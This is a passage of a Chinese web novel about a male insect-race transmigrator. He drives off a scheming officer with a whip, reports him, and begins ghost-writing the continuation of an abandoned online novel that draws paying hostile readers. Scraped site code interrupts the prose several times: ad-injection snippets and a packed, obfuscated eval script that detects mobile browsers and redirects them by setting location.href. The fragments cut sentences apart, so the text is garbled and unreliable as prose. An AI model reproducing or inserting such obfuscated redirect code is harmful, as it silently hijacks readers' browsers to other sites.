荣魇立刻道:“我没有意见,雄主。” 他说话的声音都在发颤。 他的心中燃起了一种强烈的希望。 尤其是看着朗焰那张似乎什么都不明白又似乎将一切运筹帷幄在股掌之中的自信的脸时,他心中的希望抵达巅峰。 如果是现在的雄主,说不定…… 真的会给他一个奇迹。 “尊贵的阁下,您可千万不能被蒙骗了!” 诺茨脸色煞白,惊慌失措地挽回道: “您一定还不知道吧,荣魇士官的退伍费有三千万星币,此外,一旦荣魇士官回归军团,您将收不到每个月一次的……” 荣魇的心往下沉了沉。 诺茨到底是皇族派来的,对同样来自皇族的朗焰实在是再了解不过了。 皇族的虫本就比一般虫的开销要大,更别说朗焰还是一只尊贵的雄虫。 无论是没疯的雄主,还是疯了的雄主,都同样需要大量的钱来装点门面,维持皇族的尊严。 不只是荣魇,就连瑞安和其他的下属听见这话时,眉眼中也染上了些许失望。 那可是三千万啊,谁能抵抗三千万星币的诱惑呢…… 然而,所有的虫都没想到的是,诺茨的话还没说完,朗焰就怒得一脚踹翻了桌子。 砰的一声巨响,吓得所有的虫大惊失色。 朗焰顺手抄起一旁的“丑皮带”,毫不留情地朝着诺茨抽去。 边抽边骂: “你什么意思?你的意思就是我是等着他的钱吃饭的软饭虫是吧?你算是个什么玩意儿,凭什么这么侮辱我?你这是严重的诽谤,我要告你!!!” 17.逃过一劫的副团长 在诺茨他们上门之前,荣魇设想过许多可能的结局。 或许朗焰和副团长一拍即合,让他彻底脱离军团,于是他从今往后将被禁锢在雄主身边,一步都无法远离。 或许朗焰要求继续延续他的停职时间,将他永远留在荒星,于是他这辈子再也无法回到主星,也永远都无法查清当年的真相、证明自己的清白。 又或许,他的精神海会在一切发生之前先一步崩溃,于是一切都是空谈。 除此之外,荣魇也不是没有幻想过奇迹的发生。 说不定雄主真能能网开一面,给他回去的工作的机会呢? 如果这能这样,那他愿意为此付出任何代价…… 然而,不管荣魇的想象力再怎么丰富,他都无论如何都想不到—— 这场拜访居然会以朗焰怒而暴起,并顺手抄起那条诺茨亲手送上的“丑皮带”将诺茨抽出家门告终。 诺茨不敢和雄虫动手,只能狼狈地东逃西窜,一点儿刚进门时高高在上的风度都见不到了。 荣魇象征性地拦了几下,不过拦的不是朗焰,而是诺茨。 作为雄主的雌君,他总是无条件站在雄主这边的。 诺茨躲闪的动作太大了,容易伤到雄主,必须拦住才行。 异兽鞭抽在身上不会见血,只会造成皮下淤伤,视觉效果看着不严重,却比普通的伤口更加难以愈合。 诺茨这顿打挨得是一点都不冤,毕竟—— 要不是他亲手送上了这根异兽鞭,朗焰一时半会儿的还真找不到能对一只军雌造成大面积损伤的凶器。 哪怕诺茨一行已经被打跑了,朗焰依然在骂骂咧咧。 话题绕不开“你这都交的什么朋友”、“你这都是些什么同事”、“我看你们虫族早晚完蛋”、“军团这幅样子就没虫管管吗”之类的。 荣魇一边唯唯诺诺地点头称是,一边小心翼翼地调出瑞安给自己发来的复职申请和归团申请给朗焰签字。 朗焰看都不看就把字签了。 蠢萌又自信的模样,给虫一种很容易被电信诈骗的感觉。 看着上面有雄主签名的文件,荣魇的手都在抖。 他几乎不敢相信事情真的会朝着最好的方向发展,他觉得自己在做梦。 不,即使是梦里,他都从未想过这样的,这样的…… “啊啊啊气死我了!我要举报!” 将荣魇的意识唤回的,是雄主的嘶吼。 朗焰嚷嚷着要举报军团,尤其是举报这个狗眼看虫低的副团长。 他实在是太生气了,举报信洋洋洒洒地写了三千字,信中反复质疑为什么诺茨这种虫还能当上副团长。 在寄出举报信之前,朗焰在盛怒之下留存的一丝理智让他询问了荣魇的意思—— 如果荣魇担心回归军团以后被穿小鞋,那他看在荣魇的面子上退一步也不是不行。 对此,荣魇表示自己什么也不担心,雄主想怎么做就怎么做,不用考虑他。 诺茨的背后是皇室,对他的厌恶也几乎是摆在明面上的,不管有没有这封举报信,他这双小鞋都是穿定了的。 但是他一点都不害怕穿小鞋,因为他早已经历过比这大得多的苦难与折磨。 那个时候,他的身边没有任何虫。 任何虫想要帮他,都只会连累自己,于是他只能自己熬。 他过去全部的虫生终结在那个时候,他用他这一生积攒的功勋、荣誉、财富甚至他3S级的体魄,硬生生熬过了那场劫难。 而现在…… 荣魇的目光缓缓落在朗焰身上。 他想要说点什么,却又什么都说不出来。 他一会儿觉得自己不幸,一会儿又觉得自己幸运。 但无论如何,无论如何…… 他知道自己实在卑劣。 卑劣到不敢告诉雄主真相。 卑劣到甚至希望雄主可以永远像这样,疯下去。 …… 当天晚上,一封来自R3小行星的匿名但是没有完全匿名的举报信在中央军团掀起了轩然大波。 要说为什么匿名的同时但是没有完全匿名,因为朗焰虽然选了匿名举报,但是他是以雄虫手环才有的特殊渠道举报的。 荒星的雄虫就那么几只,再联系一下举报内容,立刻就掉马了。 由于是针对军团长官的举报,军团举报中心在处理举报件时,直接送入了主星中央军团。 然而,朗焰压根没记住没记住诺茨的名字,全程都是以“今天上门的副团长”代称的。 于是问题就出现了。 原本应该在今天拜访荣魇军士的虫——副团长罗西——正巧就代表荒星出席了中央军团的阶段述职会议上。 开会开到一半,一群虫气势汹汹地冲进了会场,将罗西 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在众目睽睽之下带走了。 雄虫协会和军团督查处共同到场,排场之大,震惊了在座的所有虫。 罗西丝毫不敢反抗,乖乖地跟着走了。 不论是监控还是其他军虫的口供,都能证明罗西今天一大清早就来到了主星,期间半步都没有离开过。 众虫分析了半天,怎么都分析不明白罗西是怎么做到一边在主星开会,一边将雄虫得罪成这样的。 这事要是能成立,那物理学就不存在了。 然而,发来举报信的雄虫的身份非常特别,需要极其慎重地对对待。 所以,即使是显然不可能的状况,他们也不敢轻易下结论。 罗西懵逼了好久才总算搞清了状况,他坚定又兴奋地——供出了诺茨的名字。 终于,真相大白。 物理学还是存在的。 被无罪释放的那一刻,罗西打心底里庆幸被诺茨顶替了工作,让他逃过了这一劫。 他不认为诺茨会去挑衅雄虫,他的想法就和军团的大多数虫一样,觉得应该是雄虫在无理取闹。 雄虫喜怒无常,因为一点小事被激怒,这太正常了。 虽然在没有实质性伤害及证据的情况下,协会并不会因此对雌虫做出太过分的处罚,但也总是要给个明面上的说法的。 比方说意思意思给个警告,扣点工资之类的。 这种事,只能说是谁碰上了谁倒霉吧。 就是诺茨一直看他不顺眼,他也一直都很讨厌诺茨,没想到这一回诺茨搬起石头砸了自己的脚,还顺便给他挡了灾。 真是想想都……爽爆了! …… 军团督查处根据“诺茨团长顶替罗西副团长拜访荣魇士官”的线索往下查,很快就查明白了整件事情的来龙去脉。 当天晚上,中央军团的会议开到了凌晨。 最高元帅大发雷霆,地方司令同样怒不可遏,他们早就知道地方割据的问题,但是万万没想到居然能严重到这个地步,一项一年前才刚定下的“由罗西团长全权负责荣魇士官相关事宜”的军令,居然能轻轻松松地被诺茨揽到自己头上。 军团上下级与地方管辖之间几乎完全脱节,要不是这封举报信,他们甚至都无从得知这件事。 这般欺上瞒下的手段,假以时日能发展成什么样,真是想都不敢想! 整治!必须好好整治! 18.必须要找工作 时间过得很快。 距离荣魇回归军团,已经整整过去了半个月。 朗焰本来觉得警卫军团的工作会很忙,没想到荣魇每天早上八点出门,晚上五点就能到家,一次都没有加过班,怎么看都不像是很忙的样子。 按照荣魇的说法,他目前的岗位只需要处理一些文职工作,平时基本没什么事,到点就能下班,要是有急事还能提前一点走。 对于朗焰这种习惯了996的现代人而言,荣魇的神仙工作实在是太吸引他了,要不是因为他是雄虫,他也想申请去军团工作。 朗焰最近一直在星网上找工作,从荣魇回归军团的第一天就开始找,找到今天,依然一无所获。 而他找不到工作的理由,恰恰因为他是一只雄虫。 在找工作这件事上,和雌虫或是亚雌相比,雄虫实在是太太太太弱势了。 首先雄虫的身体素质不行,无法承担纯粹的体力活,像是搬砖之类的工作,根本就不会要雄虫。 其次,虽然亚雌在身体素质上同样远不如雌虫,但是亚雌可以承担绝大部分需要脑力的工作,是虫族社会绝对的中坚力量。 雄虫就不同了,雄虫不仅身体差,脑子也是公认的不好。 凡是需要精密计算或是建议策划型的工作,也都不会考虑雄虫。 孱弱、娇气并且智商普遍低下的雄虫由于找不到工作,只能像米虫一样被老婆们养着,靠吃软饭过活。 这种日子……别的雄虫过不过得下去不知道,反正朗焰是过不下去的。 退一步说,普通的雄虫没有虐心值的诉求,可以心安理得地通过给雌虫提供情绪价值来换取雌虫的供养,吃软饭吃得理直气壮。 朗焰就不同了,他但凡敢多露几次笑脸,荣魇的虐心值就敢给他颜色看。 “003,你倒是想想办法啊!” 找不到工作的朗焰躺在地摊上哀嚎道。 003叹气:【宿主大大,您才这么点虐心值,我什么办法也没有的呀。】 朗焰不满地说道:“虐心值本来就不好涨,现在更难了——荣魇要上班,白天的时间都不在家,我连他的面都见不到,去哪给你搞虐心值啊?” 003:【都说了让您在公共场合多收集一点,您看看您……】 这旧账一翻,朗焰顿时怒了:“你还有脸说公共场合,还不是怪你结算的这么慢!】 上次那个公共场合到了最后,朗焰只顾着生气和动手抽虫,根本没工夫留意虐心值,好不容易火消了气顺了冷静了,回头一看虐心值—— 好家伙,一共就只涨了三十点,其中二十点还在系统结算之前掉完了。 这什么废物系统啊,该退休了吧! 003:【……】 003:【真不是我结算慢,是荣魇的虐心值掉得太快了,根本来不及结算啊!】 朗焰丧气道:“这活我干不了了,系统不给力,荣魇更不给力,虐心值掉得比涨得还快,稍微凶一点他就给我下跪,他跪什么跪,我还想跪呢!” 曾经的朗焰经常安慰自己,万事开头难,他只是正在低谷期而已,只要熬过去了就好了。 谁能想到,他以为的低谷,其实是巅峰。 最近的虐心值上涨的速度比起之间,更加惨淡。 别说一口气涨个三十点了,一周能涨个十点,朗焰就已经谢天谢地了。 就这十点,还都不一定能撑到结算。 003尝试出一点主意:【不行您就真的跪下试试吧,说不定荣魇心一软就给您涨一点虐心值呢?】 朗焰满脸写着无奈:“我想跪都没机会好吧,荣魇白天要上班,晚上才回来,晚上的时间那么宝贵,我还想多撸两下六六呢!” 003继续出主意:【那您就增加一下他留在家里的时间啊,比如……让他别工作了?】 朗焰无语地翻了个白眼:“他要是不工作,就会去和那些狐朋狗友们聊天,聊着聊着,狐朋狗友们出点损主意、支点损招,他立马就会和我离婚!” 003叹气:【这也不行,那也不行,可怎么办呀,宿主大大。】 “你就知道问我怎么办,我要你干什么!” 朗焰从地上坐起来,长叹一声后,语气坚定地说道: “我觉得当务之急,还是找工作……渣攻渣攻,没有经济大权的渣攻也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 叫渣攻吗?那就是个吃软饭的废物!PUA的时候都没底气!” 003赞同道:【宿主大大您说的有道理,可是雄虫想找到工作实在是太难了,我查过了,雄虫的就业率只有百分之一。】 朗焰正色道:“我想来想去,这事还是得靠你,现实中的假身份我是不指望你给我搞了,但是网络上的假身份你总有办法吧?” 003:【有的,星网马甲,永久有效,具有极高程度的反追踪能力,除非启动虫星最高权限的追查,否则不会掉马,十五点虐心值即可兑换,请问宿主是否兑换?】 朗焰:“换换换。” 【叮!兑换成功,虐心值27→12。】 【叮!星网马甲已传输,请注意查收。】 003:【换好啦换好啦,宿主大大。】 朗焰满意地点点头:“可以,你还是有点用的。” 小光团明亮了不少。 003:【当然啦宿主大大,我可是非常专业哒!】 003:【可是宿主大大,马甲只能在星网上用,就算您用马甲找到了工作,露面的时候还是会被发现是雄虫的吧?】 朗焰点点头:“没错,所以我根本不能在线下露面,只能做那些只需要线上沟通就能完成的工作。” 003困惑道:【有这种工作吗?】 朗焰自信一笑:“当然有啦,这可是我的老本行了,就是不知道虫族吃不吃我这套。” 003:【?】 小光球闪烁着好奇的光贴近朗焰,看着朗焰在手环上一通操作,最后加上了一个网文编辑的星网号。 003:【宿主大大,您这是要当网文作家吗?】 朗焰摇摇头:“我以前试过当网文作家,但我失败了,因为我不会构筑世界观和大框架,情节又不够吸引人,所以我的编辑说我不适合写网文。” 003:【那您是觉得在虫族就有虫吃您这套了嘛?】 朗焰道:“也不是,我最近一直在研究虫族的网文,我发现虫族也有和我那个世界类似的一种、特殊的网文。” 003:【是什么呀?】 朗焰道:“烂尾文。” 19.什么抽象烂尾文 烂尾文。 这个词语绝对是网文界最恶劣的词语,没有之一。 如果非要说的话,烂尾文是结局跑偏或是中途摆烂的网文,那么烂尾文中的战斗机,无疑就是整个结尾都凭空消失了的——太监文。 俗称,下面没了。 朗焰是在大学时期接触到了烂尾文续写这一行。 天底下有各种各样的作者,有的作者擅长世界观的设定,有的作者擅长描写细腻的感情,有的作者擅长沙雕和玩梗,还有的作者……擅长修修补补、擅长填坑、擅长圆上一些原作者自己都圆不上的内容。 而朗焰就恰好是这么个天生适合续写烂尾文的料子。 他擅长完结。 在发现雄虫没法在现实中找工作后,朗焰立刻萌生了干回老本行的想法。 当然了,很快朗焰就发现雄虫即使在网上也找不到工作,因为即使是在网上,虫族对于雄虫的“歧视”也丝毫不减。 但是在网上找工作的好处在于,可以不用真实身份出场。 像朗焰这样的情况,就可以让系统帮忙开马甲。 朗焰在阅读了一段时间的虫族网文后,发现虫族的作家同样有烂尾的问题,各大论坛里都能看见有编辑在招续写作者,可惜回应者寥寥无几。 续写这件事本身存在很多隐患,尤其是对于那些作者因为各种意外而被迫烂尾的爆火网文,曾经都是万千读者们心中的白月光,在续写期间任何地方没对上原著,续写作者就会被读者骂得怀疑人生。 烂尾文续写并不会比从头写一本网文轻松多少,算是一件吃力不讨好的事,所以没有多少人愿意干。 但与之相对的好消息是,不少烂尾文的续写稿费开得非常高,有些甚至称得上有价无市。 看在钱的份上,朗焰很愿意做这么个“重赏之下的勇夫”。 系统给他安排的网络马甲可以随意编辑性别、经历、年龄、职业和过往,非常方便朗焰发挥。 不得不说,这十五点虐心值,花得确实物有所值。 朗焰给自己设定了一个身在荒星、居无定所、只能靠打零工为生的无依无靠的雌虫的身份。 编辑好马甲后,朗焰加上了他好几天前从论坛上蹲到一个编辑号。 在过往作品一栏里,朗焰放上了自己这两天抽空给一本前段时间因为断更五周年而被骂上热搜的的大火网文写的后续大纲,希望能引起编辑的注意。 没等多久,编辑就通过了他的好友申请,并给他发来了私信。 双方聊了几句后,编辑让他先发三万字的试稿,通过试稿后再考虑和他签约。 朗焰一口答应了下来。 到此为止的操作都在朗焰意料之中,但是在这之后的操作,就有些超出朗焰的想象了。 试稿试稿,他还以为是编辑给的测试稿,没想到,编辑竟然丢给了他一本从三年前就已经不再更新了的、但直到现在依然很火的烂尾文,让他直接把续写内容投到网站上。 这是要上来就把萌新推向残酷的市场啊。 还好朗焰并非真正的萌新,不管他能不能通过虫族网文市场的验证,起码直面市场的勇气,他还是有的。 一天写三万字是不可能的,但是在荣魇回家前写个开头,还是能做到的。 朗焰登录编辑给的网址,为自己注册了作者号,在笔名一栏里,他没有多想,直接取了个和他在现世一样的名字—— 月火。 取自他的姓名“朗焰”的中间部分。 虽然笔名里有火,看上去似乎寓意不错,但是朗焰自己也知道,从事烂尾文续写这一行,注定就不可能有火的那一天。 写得好,那是原作者牛逼,写得不好,那是原作者太过牛逼,所以后来者才无能为力。 不过,虽然事实非常残酷,但是朗焰不在意。 赚钱嘛,不寒颤。 动笔之前,朗焰需要先将原著仔仔细细地看上一遍,记下主角们的性格特点、人设细节以及剧情关键点。 为了能顺利通过编辑的考核,朗焰甚至拿出了一点虐心值来作弊——让系统帮忙把整本文直接传输到他大脑里。 【叮!书籍已传输,请注意查收。】 朗焰这几天看了不少虫族的网文,草根崛起流、重生复仇流、装逼打脸流… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984731|147761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …自以为对虫族的网文已经有了深刻的理解。 然而,在这本标题叫做《日记》的网文传入脑海后,朗焰发现自己天真了。 这是一本……抽象至极的爱情故事。 主角是一只尊贵的雄虫,热爱种植花花草草,在政府的强制匹配下和一只他没接触过的、但各方面条件都很杰出的雌虫结婚了。 婚后,主角的雌君为他生下了一只雌虫虫崽和一只亚雌虫崽,一大家子本该过着幸福美满的生活,然而,文中的主角就像是有什么精神病似的,间歇性发作,上一秒还好好的,下一秒就犯病似的虐待雌君和虫崽,家里鞭子板子一应俱全,摆得琳琅满目,哪里还像是个家,简直就是间刑房。 最严重的一次,主角害得其中一只虫崽高烧发到四十一度,还好雌君恰好提前回家将虫崽送去医院,这才没有酿成大祸。 在文章的高潮部分,主角冷着脸对雌君说出了“离婚,虫崽归我”,接着,在雌君没来得及做出回应之前,主角转头走进了自己那种满花花草草、装扮得像是热带雨林般的房间,重重地关上了房门…… 后面的内容没了,因为烂尾了。 “什么玩意儿,这也叫主角吗?接下来该雌虫重生暴打渣男了吧!” 接收完整本书的朗焰气到砸桌。 这种东西,放在他原来的世界,能不能上架都是问题,上了架都有可能被读者举报到下架。 就算是虐恋情深,那也起码得有恋吧? 就主角对待雌君那态度,根本就是对待仇人的态度,哪儿有什么恋啊? 朗焰咕哝道:“这玩意我写不了,我去和编辑说换一本试稿。” 003赶紧劝道:【别啊宿主大大,您虐心值都花了,放弃的话不就浪费了吗?】 朗焰犹豫片刻,咬咬牙道:“浪费了就浪费了,这种东西谁能写下去,我都想给他举报了。” 003:【别别别,您先试试吧,就当练练笔,随便写写嘛。】 朗焰想了想:“你说的也对,试稿而已,主要就是给编辑看看我的水平,后面也不一定非要写这本,实在不行,这也能当做我的作品集。” 20.今天必须拿下荣魇 朗焰很快理清了思路,打开虚空键盘开始码字。 虫族的科技非常发达,轻便的手环取代手机后,屏幕都是虚空屏,就连键盘也是虚空的。 虚空键盘平时用起来非常方便,就是对作者而言,虚空键盘的手感到底是差了一点,比不上实体键盘。 不过这种小事不算什么问题,朗焰准备前期先过渡着用用虚空键盘,等赚钱了以后再换实体键盘也不迟。 《日记》这本书,就和标题一样,完全是第一人称的日记式写法。 整体的写作水平在朗焰看来……就和小学生日记的水平差不多。 这玩意能大火……说实话,朗焰不明白。 他觉得虫族大概是没什么文化底蕴,所以才连这种东西都能吃得下去。 不过,既然这本书现在到了他的手里,那可就由不得这些没见过世面的虫族了。 朗焰最看不起的就是打老婆和孩子的畜生,这种虐妻虐子的雄虫,在朗焰看来,就应该以死谢罪。 说实话,朗焰的第一反应真的是让雌虫重生后将前世欺负自己的雄虫碎尸万段……但是,如果他真这么写的话,整本书就完全脱离了原著,相当于是个半原创文,这样也就不叫续写了。 看在这是他第一本书的份上,朗焰决定使出浑身解数,为这本书增加一个在他看来非常合理的反转—— 婚后,雄虫在体检时发现自己得了某种家族遗传的绝症,因为知道自己命不久矣,所以才故意对雌君和虫崽恶言相向,希望他们能怨恨他、离开他、遗忘他。 …… 星历1765年 10月22日阴 明天又是买药的时候。 最近的药吃得越来越快了。 我能感受到身体里的怪兽在不断侵蚀我的身躯、我的思想,我的一切。 我应该没有多少时间了。 好在,计划进行得很顺利,他们应该已经对我失望了。 我深爱的卡夏尔,艾德,菲林…… …… 朗焰很快完成了六千字的续写。 由于日记体的特殊性,几乎没有多少可以水字数的地方,所以这六千字的内容非常扎实,直接从揭露主角身患绝症写到了主角偷摸前往医院的时候忘记锁门,被雌君发现了留在桌上的体检报告。 朗焰特地把结尾卡在了这么个地方,希望能多引起一些来自读者的抓耳挠腮,增加一点评论和热度。 当然了,朗焰也知道自己这种毫无读者积累的新号发文大概率要单机一段时间的,所以并没有抱什么不切实际的期望。 前三万字的续写说白了就是写给编辑看的,编辑了解他的能力和风格后会决定是否要签他,至于点击评论收益之类的,那是签约后朗焰才需要考虑的问题。 把续写内容放出去以后,朗焰看了眼时间,估计荣魇应该快回来了。 于是他让手环待机,撸起袖子前往厨房。 今天晚上他准备做几道荣魇爱吃的菜,在征服荣魇的胃的同时,让荣魇把六六放出来给他玩玩。 自从荣魇回归军团后,朗焰在做饭这件事上就没有以前那么积极了。 好的大厨也是需要食客配合的,荣魇的军团三餐都包,连晚餐都能吃了再回来,除了休息日以外,几乎没有在家吃的机会。 不过,绝大多数情况下,荣魇下班回家后会被朗焰做的美食勾引住,快快乐乐地上桌吃第二顿晚餐。 今天的大餐朗焰费了不少心思,许多食材甚至是从一周前就开始准备的。 新鲜出炉的培根煎蛋卷,羊肉炖土豆,蟹肉蟹黄拌面,复炸两次增加风味的香辣炸鸡腿,烟熏鸡肉吐司淋上香甜的芝士酱,鳕鱼蔬菜色拉,以及一道加入了新鲜菌菇一起熬煮的老鸭汤。 餐后甜点是漂亮又美味的芒果千层蛋糕以及特地做成猫猫头模样的冰激凌芭菲。 除此之外,还有两道需要现做现吃的菜,要等荣魇回来以后再下锅。 对于这顿晚餐,朗焰充满了信心。 太久没见到六六了,猫瘾犯得厉害,今晚必须给荣魇拿下! …… 荣魇一进门就感受到了来者不善。 不算大的餐桌上,满满当当地放着不下八道菜。 尤其是中间那个杯子里装着的,虽然不知道是什么做的,但是顶着一个白色蓝眼猫猫头的甜品,精致可爱到了极点,也意义明确到了极点……雄主就差没把自己的目的直接写在上面了。 厨房的门开着,可以清晰地看见雄虫对着火舌忙碌的身影。 这样的画面,要是其他的虫看见,可能已经吓晕过去了。 荣魇看的次数多了,总算是勉强习惯了雄主热爱做饭这件事。 但是,这是他第一次见雄主一次性做这么多菜。 真是横看竖看左看右看……怎么看都有鬼。 荣魇思索片刻,可以地清了清嗓子。 “你回来了?快去洗手,准备吃饭了。” 朗焰听见动静,转过身来看向荣魇,开口时的语气非常雀跃。 荣魇皱着好看的眉头,结结巴巴地说道:“雄主,我、我今天在军团吃过了,我,我不饿……” 话音未落,一丝浓郁鲜美的肉香从厨房里飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993089|147761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,钻入荣魇的鼻腔。 空空如也的胃咕噜噜地叫了起来。 荣魇:“……” 朗焰笑道:“今天有品质特别好的牛排,又嫩又多汁,我特地调了黑胡椒酱和色拉酱两种酱,你来帮我试试味道,看看哪个更好。” 荣魇原地呆滞五秒,随后垂头丧气地走向洗手间。 洗完手出来的时候,荣魇顺便把六六放了出来。 演来演去也挺累的,反正也反抗不了,不如老老实实享受。 小猫咪迈着六条腿欢快地跑向朗焰,像是一只六轮驱动的小卡车。 “只能玩一会儿。” 荣魇强调。 “得嘞!” 朗焰一把抱起他心爱的猫咪,把脸埋进六六的长毛毛里狠狠吸了一大口:“宝贝,爸爸想死你了。” 六六:“喵喵喵!” 荣魇坐到桌边埋头吃饭,尽量不去注意朗焰那边的动静。 最近,他的精神海在大量的治愈因子的影响下,状态好了不少。 精神海的状态回升后,他和精神体之间的联结大幅上升,现在已经基本回到了可以共享五感的程度。 说的直白一点就是,朗焰对六六说的甜言蜜语,他都能刚听见;朗焰对六六又摸又蹭又亲又吸,他也全都能感同身受…… 就像现在,朗焰吧唧一口亲在六六的嘴上,让荣魇咀嚼牛排的动作都被迫停下了。 荣魇艰难地开口道: “雄主……您不吃吗?您能不能……”吃完再玩。 朗焰心不在焉道:“我吃过了,我不饿。” 荣魇:“……” 朗焰抱着六六在地上滚了一会儿,最后干脆离开了餐厅,走到客厅里去了。 六六喵喵叫着在朗焰怀里卖萌,给朗焰稀罕得不要不要的。 “宝贝儿,无聊吗,爸爸给你放动画片看。” 朗焰说着便点开了手环,准备给他的爱猫挑选一个可爱的影片。 刚一打开手环,99+的消息映入眼帘。 朗焰:“?” 怎么回事,手环坏了? 他随机点开一条消息,跳出来的页面居然是他才刚刚注册的作者后台。 点进作者后台,99+的新增评论看得朗焰又惊又喜。 他才写了六千字就有这么多评论,他这莫不是……要火啦? 怀揣着紧张而又激动的心情,朗焰点开了评论区。 映入眼帘的第一条评论便是—— 【作者是哪个土疙瘩里出来的?有没有常识啊?】 朗焰:“……” 21.这样爆火? 作为经验老道的烂尾文续写作者,朗焰也是见过各种大风大浪的。 他非常清楚沉默的永远是大多数的道理,一条恶评的背后,是无数条按爪、撒花和好评。 于是,朗焰信心满满地略过他的第一条评论,继续往下看去。 满满当当的评论区,满满当当的评论。 【写的什么玩意儿,现在的新作者路子也太野了】 【笑死我了,有氪金等级才能负分评价是吧,我这就氪到能评价为止】 【呼叫原作者,原作者快出来救一救啊】 【雄虫都绝症了,雌虫还什么都不知道,可以直接判刑了吧】 【一整个无语住了】 【救命啊,刚刚报警了,警卫说网文的事他们不管】 朗焰:“???” 不知道为什么突然失去了ruarua的六六喵喵叫了起来。 六只爪爪前仆后继地挂在朗焰胳膊上,试图唤回朗焰的注意力。 朗焰这会儿连最心爱的六六都顾不上了,他把六六交到荣魇手里,自己则一溜烟地跑回了房间,砰的一下关上了房门。 正在啃牛排的荣魇:“?” 六六:“喵?” 回到房间后,朗焰盘腿坐到床上,一条一条地看起了评论。 足足一百七十四条差评,其中一点好评都没有,连“按爪”和“撒花”都没有。 朗焰看得浑身僵硬,头皮发麻。 随着大量的差评一起到来的,是网站的银行账户绑定提示。 由于朗焰还没有签约,所以他一开始并没有将自己的银行账户绑到作者号上,因为他理所当然地认为,没有签约就没有收益,光靠读者打赏的那一点蚊子腿,怎么都不可能满足提现额度。 然而,神奇的事还真的发生了—— 在这个网站上,好评可以随便给,但催更礼物以及差评都需要付费才能送出。 于是,光是这短短的几个小时里,朗焰就收到了足足五百星币的付费差评,以及五百星币的催更礼物。 前者朗焰虽然不理解,但是也算是接受了自己写得不好、或者对不上虫族读者口味的事实。 后者……就令朗焰感到匪夷所思了。 收益来源是可以在作者后台查到的,朗焰仔仔细细地对照了付费差评的读者,以及给他投催更礼物的读者,发现双方居然是高度重合的! 也就是说,这群付费差评的读者,在给差评的时候,还顺便付费催更了一下。 离谱至极的操作,仿佛在说—— 来,接着写,让爷看看你还烂成什么样。 从没有见过这种场面的朗焰整个人都惊呆了。 他呆呆地问003:“系统,虫族的读者都这么……彪悍吗?” 003道:【根据我这里查到的背景资料,虫族是天生的战斗民族,比起婉转的言语交锋,他们更擅长用拳头说话,不服就是干。】 朗焰似懂非懂道:“原来如此,我好像有点明白了。” 不管怎么说,比起默默无闻地写一本文,他这样起码算是红了。 黑红也、也算一种红……吧? 因为评论区看上去实在是令人心慌,朗焰没有多犹豫,打开了编辑的聊天框。 附上自己的文章链接后,朗焰小心翼翼地询问编辑他才发两章就被骂了一百多条的情况算不上正常。 编辑那边立刻来了回复。 编辑澜业:我靠,我们编辑部刚刚还在讨论是哪个不要命的写出这种东西,原来是你小子。 月火:…… 编辑澜业:你太牛了,我干这一行干了三十年了,第一次见到你这么牛逼的作者。 月火:那我能签约了吗,大大? 编辑澜业:签,必须签,我现在就给你发分成合同。 月火:分成合同?我这是烂尾文续写啊,难道不是签保底吗? 编辑澜业:谁敢和你签保底啊,你这写法,不知道哪天就连书带虫一起进去了。 月火:…… 003见状赶紧说道:【放心吧宿主大大,虫族历史上还没有雄虫坐牢的先例,别说您就是写个小说了,您就算杀了虫,也是可以轻判的。】 朗焰忧心忡忡地点了点头。 从他的角度来说,他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001534|147761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实不觉得自己写了什么有问题的内容。 他甚至觉得自己写的东西才是正确且合理的,和他比起来,原作者才应该去坐牢。 编辑澜业:只能签分成,等你上架以后赚订阅钱,赚一天是一天,这本要是没了,就换一本继续写,只要你一天不进去,我们就能赚一天的钱。 月火:行吧,那怎么分成啊,按照订阅五五吗? 编辑澜业:订阅三七,打赏五五,你是续写不是原创,不可能和原创作者享受同等待遇,需要拿出一部分收益给到原作者,而且你这是第一本,后续发展还不确定,谁知道你会不会高开低走,等到你这本顺利完结了,下一本可以再谈新的合同。 月火:行。 作为有过很长时间写作经验的老作者,朗焰并没有第一本就能大火特火的想法。 能拿到这样的待遇,他已经非常非常满意了。 合同流程的步骤在003的帮助下,很快就完成了。 从这一刻开始,名叫月火的作者就是虫星最大的网文网站——书虫网的一名新晋作者了。 此时的朗焰还不知道月火这个笔名会在未来掀起多大的风浪,他只是为自己即将有收入这件事而感到高兴。 签完合同后,朗焰又看了一眼评论区。 